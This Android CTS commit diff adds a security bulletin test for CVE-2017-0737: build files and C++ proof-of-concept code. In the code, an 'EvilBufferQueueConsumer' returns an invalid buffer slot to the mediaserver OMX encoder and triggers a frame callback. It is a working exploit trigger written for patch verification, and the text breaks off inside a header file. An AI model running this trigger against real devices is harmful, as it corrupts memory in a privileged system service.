[RESTRICT AUTOMERGE]: CTS test for Android Security CVE-2017-0737
Test: cts-tradefed run cts -m CtsSecurityBulletinHostTestCases -t android.security.cts.Poc17_08#testPocCVE_2017_0737
Bug:72379247
Bug:37563942
Change-Id: If3917c99bfbdb0e92b8d9f38a92c9d471d4f0975
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 5fb0f40..a708d40 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -127,6 +127,7 @@
<!--__________________-->
<!-- Bulletin 2017-08 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2017-0737->/data/local/tmp/CVE-2017-0737" />
<option name="push" value="CVE-2017-0727->/data/local/tmp/CVE-2017-0727" />
<!--__________________-->
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/Android.mk
new file mode 100644
index 0000000..ea61f5d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/Android.mk
@@ -0,0 +1,49 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License
+
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0737
+LOCAL_SRC_FILES := \
+ poc_BufferQueueConsumer.cpp \
+ poc_OccupancyTracker.cpp \
+ poc.cpp \
+
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES:= $(JNI_H_INCLUDE) \
+ $(TOP)/frameworks/av/media/libstagefright \
+ $(TOP)/frameworks/native/include/media/openmax \
+
+LOCAL_SHARED_LIBRARIES += \
+ libstagefright \
+ libutils \
+ libbinder \
+ libgui \
+ libstagefright_foundation \
+ libmedia \
+ libcutils \
+ libui \
+
+LOCAL_COMPATIBILITY_SUITE := cts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS = -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/poc.cpp
new file mode 100644
index 0000000..9d995e5
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/poc.cpp
@@ -0,0 +1,189 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ * http://www.apache.org/licenses/LICENSE-2.0
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <fcntl.h>
+#include <unistd.h>
+#include <string.h>
+#include <stdio.h>
+#include <errno.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+
+#include <jni.h>
+
+#include <binder/IServiceManager.h>
+#include <utils/String8.h>
+#include <utils/NativeHandle.h>
+#include <media/IMediaPlayerService.h>
+#include <media/IOMX.h>
+#include <media/stagefright/foundation/ADebug.h>
+#include <OMX_Component.h>
+
+#include <ui/Rect.h>
+#include <ui/GraphicBuffer.h>
+#include <gui/IGraphicBufferAlloc.h>
+#include <gui/IGraphicBufferProducer.h>
+#include <gui/Surface.h>
+#include <gui/ISurfaceComposer.h>
+#include <gui/SurfaceComposerClient.h>
+#include <gui/BufferQueue.h>
+#include <gui/BufferQueueProducer.h>
+#include <gui/GLConsumer.h>
+
+#include "poc_BufferQueueConsumer.h"
+#include "poc_FrameTimestamps.h"
+#include "poc_BufferQueueCore.h"
+
+using namespace android;
+
+template <class T>
+static void InitOMXParams(T* params) {
+ params->nSize = sizeof(T);
+ params->nVersion.s.nVersionMajor = 1;
+ params->nVersion.s.nVersionMinor = 0;
+ params->nVersion.s.nRevision = 0;
+ params->nVersion.s.nStep = 0;
+}
+
+struct DummyOMXObserver : public BnOMXObserver {
+ public:
+ DummyOMXObserver() {}
+
+ virtual void onMessages(const std::list<omx_message>& messages __unused) {}
+
+ protected:
+ virtual ~DummyOMXObserver() {}
+};
+
+enum {
+ ON_FRAME_AVAILABLE = IBinder::FIRST_CALL_TRANSACTION,
+ ON_BUFFER_RELEASED,
+ ON_SIDEBAND_STREAM_CHANGED,
+ GET_FRAME_TIMESTAMPS
+};
+
+class MyBpConsumerListener : public BpInterface<IConsumerListener> {
+ public:
+ MyBpConsumerListener(const sp<IBinder>& impl)
+ : BpInterface<IConsumerListener>(impl) {}
+
+ virtual ~MyBpConsumerListener();
+
+ virtual void onFrameAvailable(const BufferItem& item) {
+ Parcel data, reply;
+ data.writeInterfaceToken(IConsumerListener::getInterfaceDescriptor());
+ data.write(item);
+ }
+
+ virtual void onBuffersReleased() {
+ Parcel data, reply;
+ data.writeInterfaceToken(IConsumerListener::getInterfaceDescriptor());
+ remote()->transact(ON_BUFFER_RELEASED, data, &reply, IBinder::FLAG_ONEWAY);
+ }
+
+ virtual void onSidebandStreamChanged() {
+ Parcel data, reply;
+ data.writeInterfaceToken(IConsumerListener::getInterfaceDescriptor());
+ remote()->transact(ON_SIDEBAND_STREAM_CHANGED, data, &reply,
+ IBinder::FLAG_ONEWAY);
+ }
+
+ virtual bool getFrameTimestamps(uint64_t frameNumber,
+ FrameTimestamps* outTimestamps) const {
+ Parcel data, reply;
+ status_t result =
+ data.writeInterfaceToken(IConsumerListener::getInterfaceDescriptor());
+ if (result != NO_ERROR) {
+ return false;
+ }
+ result = data.writeUint64(frameNumber);
+ if (result != NO_ERROR) {
+ return false;
+ }
+ result = remote()->transact(GET_FRAME_TIMESTAMPS, data, &reply);
+ if (result != NO_ERROR) {
+ return false;
+ }
+ bool found = false;
+ result = reply.readBool(&found);
+ if (result != NO_ERROR) {
+ return false;
+ }
+ if (found) {
+ result = reply.read(*outTimestamps);
+ if (result != NO_ERROR) {
+ return false;
+ }
+ }
+ return found;
+ }
+};
+
+MyBpConsumerListener::~MyBpConsumerListener() {}
+
+sp<BufferQueueCore> core;
+sp<IGraphicBufferProducer> producer;
+sp<IGraphicBufferConsumer> consumer;
+
+void createBufferQueue(sp<IGraphicBufferProducer>* outProducer,
+ sp<IGraphicBufferConsumer>* outConsumer) {
+
+ core = new BufferQueueCore(NULL);
+ sp<IGraphicBufferProducer> producer(new BufferQueueProducer(core));
+ sp<IGraphicBufferConsumer> consumer(new EvilBufferQueueConsumer(core));
+
+ *outProducer = producer;
+ *outConsumer = consumer;
+}
+
+int main() {
+ createBufferQueue(&producer, &consumer);
+
+ sp<IServiceManager> sm = defaultServiceManager();
+
+ sp<IBinder> binder = sm->getService(String16("media.player"));
+ sp<IMediaPlayerService> mediaPlayerService =
+ interface_cast<IMediaPlayerService>(binder);
+
+ if (mediaPlayerService == NULL) {
+ return 0;
+ }
+
+ sp<IOMX> service = mediaPlayerService->getOMX();
+ if (service == NULL) {
+ return 0;
+ }
+
+ IOMX::node_id node = 0;
+ int port_index = 0;
+
+ sp<DummyOMXObserver> observer = new DummyOMXObserver();
+
+ std::string str = "OMX.google.vp8.encoder";
+ const char* name = str.c_str();
+ status_t err = service->allocateNode(name, observer, NULL, &node);
+ if (err != OK) {
+ return 0;
+ }
+ MetadataBufferType type = kMetadataBufferTypeInvalid;
+ service->setInputSurface(node, port_index, consumer, &type);
+ bool t = true;
+ service->setInternalOption(node, port_index, IOMX::INTERNAL_OPTION_SUSPEND, &t, sizeof(t));
+
+ BufferItem item;
+ static_cast<MyBpConsumerListener>(
+ IInterface::asBinder(core->mConsumerListener))
+ .onFrameAvailable(item);
+
+ return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/poc_BufferQueueConsumer.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/poc_BufferQueueConsumer.cpp
new file mode 100644
index 0000000..a76b586
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/poc_BufferQueueConsumer.cpp
@@ -0,0 +1,544 @@
+/*
+ * Copyright 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <inttypes.h>
+
+#define private public
+
+#include <gui/BufferItem.h>
+#include <gui/IConsumerListener.h>
+#include <gui/IProducerListener.h>
+#include "poc_BufferQueueConsumer.h"
+#include "poc_BufferQueueCore.h"
+
+#include <binder/IPCThreadState.h>
+#include <binder/PermissionCache.h>
+#include <private/android_filesystem_config.h>
+
+namespace android {
+
+EvilBufferQueueConsumer::EvilBufferQueueConsumer(
+ const sp<BufferQueueCore>& core)
+ : mCore(core), mSlots(core->mSlots), mConsumerName() {}
+
+EvilBufferQueueConsumer::~EvilBufferQueueConsumer() {}
+
+status_t EvilBufferQueueConsumer::acquireBuffer(BufferItem* outBuffer,
+ nsecs_t expectedPresent,
+ uint64_t maxFrameNumber) {
+ {
+ outBuffer->mGraphicBuffer = new GraphicBuffer;
+ outBuffer->mFence = Fence::NO_FENCE;
+ outBuffer->mSlot = 0x666666;
+ return NO_ERROR;
+ }
+
+ int numDroppedBuffers = 0;
+ sp<IProducerListener> listener;
+ {
+ Mutex::Autolock lock(mCore->mMutex);
+
+ int numAcquiredBuffers = 0;
+ for (int s : mCore->mActiveBuffers) {
+ if (mSlots[s].mBufferState.isAcquired()) {
+ ++numAcquiredBuffers;
+ }
+ }
+ if (numAcquiredBuffers >= mCore->mMaxAcquiredBufferCount + 1) {
+ return INVALID_OPERATION;
+ }
+
+ bool sharedBufferAvailable =
+ mCore->mSharedBufferMode && mCore->mAutoRefresh &&
+ mCore->mSharedBufferSlot != BufferQueueCore::INVALID_BUFFER_SLOT;
+
+ if (mCore->mQueue.empty() && !sharedBufferAvailable) {
+ return NO_BUFFER_AVAILABLE;
+ }
+
+ BufferQueueCore::Fifo::iterator front(mCore->mQueue.begin());
+
+ if (expectedPresent != 0 && !mCore->mQueue.empty()) {
+ const int MAX_REASONABLE_NSEC = 1000000000ULL;
+
+ while (mCore->mQueue.size() > 1 && !mCore->mQueue[0].mIsAutoTimestamp) {
+ const BufferItem& bufferItem(mCore->mQueue[1]);
+
+ if (maxFrameNumber && bufferItem.mFrameNumber > maxFrameNumber) {
+ break;
+ }
+
+ nsecs_t desiredPresent = bufferItem.mTimestamp;
+ if (desiredPresent < expectedPresent - MAX_REASONABLE_NSEC ||
+ desiredPresent > expectedPresent) {
+ break;
+ }
+
+ if (!front->mIsStale) {
+ mSlots[front->mSlot].mBufferState.freeQueued();
+
+ if (!mCore->mSharedBufferMode &&
+ mSlots[front->mSlot].mBufferState.isFree()) {
+ mSlots[front->mSlot].mBufferState.mShared = false;
+ }
+
+ if (!mSlots[front->mSlot].mBufferState.isShared()) {
+ mCore->mActiveBuffers.erase(front->mSlot);
+ mCore->mFreeBuffers.push_back(front->mSlot);
+ }
+
+ listener = mCore->mConnectedProducerListener;
+ ++numDroppedBuffers;
+ }
+
+ mCore->mQueue.erase(front);
+ front = mCore->mQueue.begin();
+ }
+
+ nsecs_t desiredPresent = front->mTimestamp;
+ bool bufferIsDue = desiredPresent <= expectedPresent ||
+ desiredPresent > expectedPresent + MAX_REASONABLE_NSEC;
+ bool consumerIsReady =
+ maxFrameNumber > 0 ? front->mFrameNumber <= maxFrameNumber : true;
+ if (!bufferIsDue || !consumerIsReady) {
+ return PRESENT_LATER;
+ }
+
+ }
+
+ int slot = BufferQueueCore::INVALID_BUFFER_SLOT;
+
+ if (sharedBufferAvailable && mCore->mQueue.empty()) {
+ mCore->waitWhileAllocatingLocked();
+
+ slot = mCore->mSharedBufferSlot;
+
+ outBuffer->mGraphicBuffer = mSlots[slot].mGraphicBuffer;
+ outBuffer->mFence = Fence::NO_FENCE;
+ outBuffer->mCrop = mCore->mSharedBufferCache.crop;
+ outBuffer->mTransform =
+ mCore->mSharedBufferCache.transform &
+ ~static_cast<uint32_t>(NATIVE_WINDOW_TRANSFORM_INVERSE_DISPLAY);
+ outBuffer->mScalingMode = mCore->mSharedBufferCache.scalingMode;
+ outBuffer->mDataSpace = mCore->mSharedBufferCache.dataspace;
+ outBuffer->mFrameNumber = mCore->mFrameCounter;
+ outBuffer->mSlot = slot;
+ outBuffer->mAcquireCalled = mSlots[slot].mAcquireCalled;
+ outBuffer->mTransformToDisplayInverse =
+ (mCore->mSharedBufferCache.transform &
+ NATIVE_WINDOW_TRANSFORM_INVERSE_DISPLAY) != 0;
+ outBuffer->mSurfaceDamage = Region::INVALID_REGION;
+ outBuffer->mQueuedBuffer = false;
+ outBuffer->mIsStale = false;
+ outBuffer->mAutoRefresh = mCore->mSharedBufferMode && mCore->mAutoRefresh;
+ } else {
+ slot = front->mSlot;
+ *outBuffer = *front;
+ }
+
+
+ if (!outBuffer->mIsStale) {
+ mSlots[slot].mAcquireCalled = true;
+ if (mCore->mQueue.empty()) {
+ mSlots[slot].mBufferState.acquireNotInQueue();
+ } else {
+ mSlots[slot].mBufferState.acquire();
+ }
+ mSlots[slot].mFence = Fence::NO_FENCE;
+ }
+
+ if (outBuffer->mAcquireCalled) {
+ outBuffer->mGraphicBuffer = NULL;
+ }
+
+ mCore->mQueue.erase(front);
+
+ mCore->mDequeueCondition.broadcast();
+
+ mCore->mOccupancyTracker.registerOccupancyChange(mCore->mQueue.size());
+
+ }
+
+ if (listener != NULL) {
+ for (int i = 0; i < numDroppedBuffers; ++i) {
+ listener->onBufferReleased();
+ }
+ }
+
+ return NO_ERROR;
+}
+
+status_t EvilBufferQueueConsumer::detachBuffer(int slot) {
+ Mutex::Autolock lock(mCore->mMutex);
+
+ if (mCore->mIsAbandoned) {
+ return NO_INIT;
+ }
+
+ if (mCore->mSharedBufferMode || slot == mCore->mSharedBufferSlot) {
+ return BAD_VALUE;
+ }
+
+ if (slot < 0 || slot >= BufferQueueDefs::NUM_BUFFER_SLOTS) {
+ return BAD_VALUE;
+ } else if (!mSlots[slot].mBufferState.isAcquired()) {
+ return BAD_VALUE;
+ }
+
+ mSlots[slot].mBufferState.detachConsumer();
+ mCore->mActiveBuffers.erase(slot);
+ mCore->mFreeSlots.insert(slot);
+ mCore->clearBufferSlotLocked(slot);
+ mCore->mDequeueCondition.broadcast();
+
+ return NO_ERROR;
+}
+
+status_t EvilBufferQueueConsumer::attachBuffer(
+ int* outSlot, const sp<android::GraphicBuffer>& buffer) {
+
+ if (outSlot == NULL) {
+ return BAD_VALUE;
+ } else if (buffer == NULL) {
+ return BAD_VALUE;
+ }
+
+ Mutex::Autolock lock(mCore->mMutex);
+
+ if (mCore->mSharedBufferMode) {
+ return BAD_VALUE;
+ }
+
+ int numAcquiredBuffers = 0;
+ for (int s : mCore->mActiveBuffers) {
+ if (mSlots[s].mBufferState.isAcquired()) {
+ ++numAcquiredBuffers;
+ }
+ }
+
+ if (numAcquiredBuffers >= mCore->mMaxAcquiredBufferCount + 1) {
+ return INVALID_OPERATION;
+ }
+
+ if (buffer->getGenerationNumber() != mCore->mGenerationNumber) {
+ return BAD_VALUE;
+ }
+
+ int found = BufferQueueCore::INVALID_BUFFER_SLOT;
+ if (!mCore->mFreeSlots.empty()) {
+ auto slot = mCore->mFreeSlots.begin();
+ found = *slot;
+ mCore->mFreeSlots.erase(slot);
+ } else if (!mCore->mFreeBuffers.empty()) {
+ found = mCore->mFreeBuffers.front();
+ mCore->mFreeBuffers.remove(found);
+ }
+ if (found == BufferQueueCore::INVALID_BUFFER_SLOT) {
+ return NO_MEMORY;
+ }
+
+ mCore->mActiveBuffers.insert(found);
+ *outSlot = found;
+
+ mSlots[*outSlot].mGraphicBuffer = buffer;
+ mSlots[*outSlot].mBufferState.attachConsumer();
+ mSlots[*outSlot].mNeedsReallocation = true;
+ mSlots[*outSlot].mFence = Fence::NO_FENCE;
+ mSlots[*outSlot].mFrameNumber = 0;
+
+ mSlots[*outSlot].mAcquireCalled = false;
+
+ return NO_ERROR;
+}
+
+status_t EvilBufferQueueConsumer::releaseBuffer(int slot, uint64_t frameNumber,
+ const sp<Fence>& releaseFence,
+ EGLDisplay eglDisplay,
+ EGLSyncKHR eglFence) {
+
+ if (slot < 0 || slot >= BufferQueueDefs::NUM_BUFFER_SLOTS ||
+ releaseFence == NULL) {
+ return BAD_VALUE;
+ }
+
+ sp<IProducerListener> listener;
+ {
+ Mutex::Autolock lock(mCore->mMutex);
+
+ if (frameNumber != mSlots[slot].mFrameNumber &&
+ !mSlots[slot].mBufferState.isShared()) {
+ return STALE_BUFFER_SLOT;
+ }
+
+ if (!mSlots[slot].mBufferState.isAcquired()) {
+ return BAD_VALUE;
+ }
+
+ mSlots[slot].mEglDisplay = eglDisplay;
+ mSlots[slot].mEglFence = eglFence;
+ mSlots[slot].mFence = releaseFence;
+ mSlots[slot].mBufferState.release();
+
+ if (!mCore->mSharedBufferMode && mSlots[slot].mBufferState.isFree()) {
+ mSlots[slot].mBufferState.mShared = false;
+ }
+ if (!mSlots[slot].mBufferState.isShared()) {
+ mCore->mActiveBuffers.erase(slot);
+ mCore->mFreeBuffers.push_back(slot);
+ }
+
+ listener = mCore->mConnectedProducerListener;
+
+ mCore->mDequeueCondition.broadcast();
+ }
+
+ if (listener != NULL) {
+ listener->onBufferReleased();
+ }
+
+ return NO_ERROR;
+}
+
+status_t EvilBufferQueueConsumer::connect(
+ const sp<IConsumerListener>& consumerListener, bool controlledByApp) {
+
+ if (consumerListener == NULL) {
+ return BAD_VALUE;
+ }
+
+
+ Mutex::Autolock lock(mCore->mMutex);
+
+ if (mCore->mIsAbandoned) {
+ return NO_INIT;
+ }
+ mCore->mConsumerListener = consumerListener;
+ mCore->mConsumerControlledByApp = controlledByApp;
+
+ return NO_ERROR;
+}
+
+status_t EvilBufferQueueConsumer::disconnect() {
+
+ Mutex::Autolock lock(mCore->mMutex);
+
+ if (mCore->mConsumerListener == NULL) {
+ return BAD_VALUE;
+ }
+
+ mCore->mIsAbandoned = true;
+ mCore->mConsumerListener = NULL;
+ mCore->mQueue.clear();
+ mCore->freeAllBuffersLocked();
+ mCore->mSharedBufferSlot = BufferQueueCore::INVALID_BUFFER_SLOT;
+ mCore->mDequeueCondition.broadcast();
+ return NO_ERROR;
+}
+
+status_t EvilBufferQueueConsumer::getReleasedBuffers(uint64_t* outSlotMask) {
+
+ if (outSlotMask == NULL) {
+ return BAD_VALUE;
+ }
+
+ Mutex::Autolock lock(mCore->mMutex);
+
+ if (mCore->mIsAbandoned) {
+ return NO_INIT;
+ }
+
+ uint64_t mask = 0;
+ for (int s = 0; s < BufferQueueDefs::NUM_BUFFER_SLOTS; ++s) {
+ if (!mSlots[s].mAcquireCalled) {
+ mask |= (1ULL << s);
+ }
+ }
+
+ BufferQueueCore::Fifo::iterator current(mCore->mQueue.begin());
+ while (current != mCore->mQueue.end()) {
+ if (current->mAcquireCalled) {
+ mask &= ~(1ULL << current->mSlot);
+ }
+ ++current;
+ }
+
+ *outSlotMask = mask;
+ return NO_ERROR;
+}
+
+status_t EvilBufferQueueConsumer::setDefaultBufferSize(uint32_t width,
+ uint32_t height) {
+ if (width == 0 || height == 0) {
+ return BAD_VALUE;
+ }
+
+
+ Mutex::Autolock lock(mCore->mMutex);
+ mCore->mDefaultWidth = width;
+ mCore->mDefaultHeight = height;
+ return NO_ERROR;
+}
+
+status_t EvilBufferQueueConsumer::setMaxBufferCount(int bufferCount) {
+
+ if (bufferCount < 1 || bufferCount > BufferQueueDefs::NUM_BUFFER_SLOTS) {
+ return BAD_VALUE;
+ }
+
+ Mutex::Autolock lock(mCore->mMutex);
+
+ if (mCore->mConnectedApi != BufferQueueCore::NO_CONNECTED_API) {
+ return INVALID_OPERATION;
+ }
+
+ if (bufferCount < mCore->mMaxAcquiredBufferCount) {
+ return BAD_VALUE;
+ }
+
+ int delta =
+ mCore->getMaxBufferCountLocked(
+ mCore->mAsyncMode, mCore->mDequeueBufferCannotBlock, bufferCount) -
+ mCore->getMaxBufferCountLocked();
+ if (!mCore->adjustAvailableSlotsLocked(delta)) {
+ return BAD_VALUE;
+ }
+
+ mCore->mMaxBufferCount = bufferCount;
+ return NO_ERROR;
+}
+
+status_t EvilBufferQueueConsumer::setMaxAcquiredBufferCount(
+ int maxAcquiredBuffers) {
+
+ if (maxAcquiredBuffers < 1 ||
+ maxAcquiredBuffers > BufferQueueCore::MAX_MAX_ACQUIRED_BUFFERS) {
+ return BAD_VALUE;
+ }
+
+ sp<IConsumerListener> listener;
+ {
+ Mutex::Autolock lock(mCore->mMutex);
+ mCore->waitWhileAllocatingLocked();
+
+ if (mCore->mIsAbandoned) {
+ return NO_INIT;
+ }
+
+ if (maxAcquiredBuffers == mCore->mMaxAcquiredBufferCount) {
+ return NO_ERROR;
+ }
+
+ int acquiredCount = 0;
+ for (int slot : mCore->mActiveBuffers) {
+ if (mSlots[slot].mBufferState.isAcquired()) {
+ acquiredCount++;
+ }
+ }
+ if (acquiredCount > maxAcquiredBuffers) {
+ return BAD_VALUE;
+ }
+
+ if ((maxAcquiredBuffers + mCore->mMaxDequeuedBufferCount +
+ (mCore->mAsyncMode || mCore->mDequeueBufferCannotBlock ? 1 : 0)) >
+ mCore->mMaxBufferCount) {
+ return BAD_VALUE;
+ }
+
+ int delta = maxAcquiredBuffers - mCore->mMaxAcquiredBufferCount;
+ if (!mCore->adjustAvailableSlotsLocked(delta)) {
+ return BAD_VALUE;
+ }
+
+ mCore->mMaxAcquiredBufferCount = maxAcquiredBuffers;
+ if (delta < 0) {
+ listener = mCore->mConsumerListener;
+ }
+ }
+ if (listener != NULL) {
+ listener->onBuffersReleased();
+ }
+
+ return NO_ERROR;
+}
+
+void EvilBufferQueueConsumer::setConsumerName(const String8& name) {
+ Mutex::Autolock lock(mCore->mMutex);
+ mCore->mConsumerName = name;
+ mConsumerName = name;
+}
+
+status_t EvilBufferQueueConsumer::setDefaultBufferFormat(
+ PixelFormat defaultFormat) {
+ Mutex::Autolock lock(mCore->mMutex);
+ mCore->mDefaultBufferFormat = defaultFormat;
+ return NO_ERROR;
+}
+
+status_t EvilBufferQueueConsumer::setDefaultBufferDataSpace(
+ android_dataspace defaultDataSpace) {
+ Mutex::Autolock lock(mCore->mMutex);
+ mCore->mDefaultBufferDataSpace = defaultDataSpace;
+ return NO_ERROR;
+}
+
+status_t EvilBufferQueueConsumer::setConsumerUsageBits(uint32_t usage) {
+ Mutex::Autolock lock(mCore->mMutex);
+ mCore->mConsumerUsageBits = usage;
+ return NO_ERROR;
+}
+
+status_t EvilBufferQueueConsumer::setTransformHint(uint32_t hint) {
+ Mutex::Autolock lock(mCore->mMutex);
+ mCore->mTransformHint = hint;
+ return NO_ERROR;
+}
+
+sp<NativeHandle> EvilBufferQueueConsumer::getSidebandStream() const {
+ Mutex::Autolock lock(mCore->mMutex);
+ return mCore->mSidebandStream;
+}
+
+status_t EvilBufferQueueConsumer::getOccupancyHistory(
+ bool forceFlush, std::vector<OccupancyTracker::Segment>* outHistory) {
+ Mutex::Autolock lock(mCore->mMutex);
+ *outHistory = mCore->mOccupancyTracker.getSegmentHistory(forceFlush);
+ return NO_ERROR;
+}
+
+status_t EvilBufferQueueConsumer::discardFreeBuffers() {
+ Mutex::Autolock lock(mCore->mMutex);
+ mCore->discardFreeBuffersLocked();
+ return NO_ERROR;
+}
+
+void EvilBufferQueueConsumer::dump(String8& result, const char* prefix) const {
+ const IPCThreadState* ipc = IPCThreadState::self();
+ const pid_t pid = ipc->getCallingPid();
+ const uid_t uid = ipc->getCallingUid();
+ if ((uid != AID_SHELL) &&
+ !PermissionCache::checkPermission(String16("android.permission.DUMP"),
+ pid, uid)) {
+ result.appendFormat(
+ "Permission Denial: can't dump BufferQueueConsumer "
+ "from pid=%d, uid=%d\n",
+ pid, uid);
+ android_errorWriteWithInfoLog(0x534e4554, "27046057", uid, NULL, 0);
+ } else {
+ mCore->dump(result, prefix);
+ }
+}
+
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/poc_BufferQueueConsumer.h b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/poc_BufferQueueConsumer.h
new file mode 100644
index 0000000..8d39c62
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/poc_BufferQueueConsumer.h
@@ -0,0 +1,103 @@
+/*
+ * Copyright 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <EGL/egl.h>
+#include <EGL/eglext.h>
+
+#include <gui/BufferQueueDefs.h>
+#include <gui/IGraphicBufferConsumer.h>
+#include "poc_OccupancyTracker.h"
+
+namespace android {
+
+class BufferQueueCore;
+
+class EvilBufferQueueConsumer : public BnGraphicBufferConsumer {
+ public:
+ EvilBufferQueueConsumer(const sp<BufferQueueCore>& core);
+ virtual ~EvilBufferQueueConsumer();
+
+ virtual status_t acquireBuffer(BufferItem* outBuffer, nsecs_t expectedPresent,
+ uint64_t maxFrameNumber = 0) override;
+
+ virtual status_t detachBuffer(int slot);
+
+ virtual status_t attachBuffer(int* slot, const sp<GraphicBuffer>& buffer);
+
+ virtual status_t releaseBuffer(int slot, uint64_t frameNumber,
+ const sp<Fence>& releaseFence,
+ EGLDisplay display, EGLSyncKHR fence);
+
+ virtual status_t connect(const sp<IConsumerListener>& consumerListener,
+ bool controlledByApp);
+
+ virtual status_t disconnect();
+
+ virtual status_t getReleasedBuffers(uint64_t* outSlotMask);
+
+ virtual status_t setDefaultBufferSize(uint32_t width, uint32_t height);
+
+ virtual status_t setMaxBufferCount(int bufferCount);
+
+ virtual status_t setMaxAcquiredBufferCount(int maxAcquiredBuffers);
+
+ virtual void setConsumerName(const String8& name);
+
+ virtual status_t setDefaultBufferFormat(PixelFormat defaultFormat);
+
+ virtual status_t setDefaultBufferDataSpace(
+ android_dataspace defaultDataSpace);
+
+ virtual status_t setConsumerUsageBits(uint32_t usage);
+
+ virtual status_t setTransformHint(uint32_t hint);
+
+ virtual sp<NativeHandle> getSidebandStream() const;
+
+ virtual status_t getOccupancyHistory(
+ bool forceFlush,
+ std::vector<OccupancyTracker::Segment>* outHistory);
+
+ virtual status_t discardFreeBuffers() override;
+
+ #pragma clang diagnostic ignored "-Woverloaded-virtual"
+ virtual void dump(String8& result, const char* prefix) const;
+
+
+ virtual status_t releaseBuffer(int buf, uint64_t frameNumber,
+ EGLDisplay display, EGLSyncKHR fence,
+ const sp<Fence>& releaseFence) {
+ return releaseBuffer(buf, frameNumber, releaseFence, display, fence);
+ }
+
+ virtual status_t consumerConnect(const sp<IConsumerListener>& consumer,
+ bool controlledByApp) {
+ return connect(consumer, controlledByApp);
+ }
+
+ virtual status_t consumerDisconnect() { return disconnect(); }
+
+
+ private:
+ sp<BufferQueueCore> mCore;
+
+ BufferQueueDefs::SlotsType& mSlots;
+
+ String8 mConsumerName;
+
+};
+
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/poc_BufferQueueCore.h b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/poc_BufferQueueCore.h
new file mode 100644
index 0000000..fe9c679
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0737/poc_BufferQueueCore.h
@@ -0,0 +1,188 @@
+/*
+ * Copyright 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef ANDROID_GUI_BUFFERQUEUECORE_H
+#define ANDROID_GUI_BUFFERQUEUECORE_H
+
+#include <gui/BufferItem.h>
+#include <gui/BufferQueueDefs.h>
+#include <gui/BufferSlot.h>
+#include "poc_OccupancyTracker.h"
+
+#include <utils/Condition.h>
+#include <utils/Mutex.h>
+#include <utils/NativeHandle.h>
+#include <utils/RefBase.h>
+#include <utils/String8.h>
+#include <utils/StrongPointer.h>
+#include <utils/Trace.h>
+#include <utils/Vector.h>
+
+#include <list>
+#include <set>
+
+namespace android {
+
+class IConsumerListener;
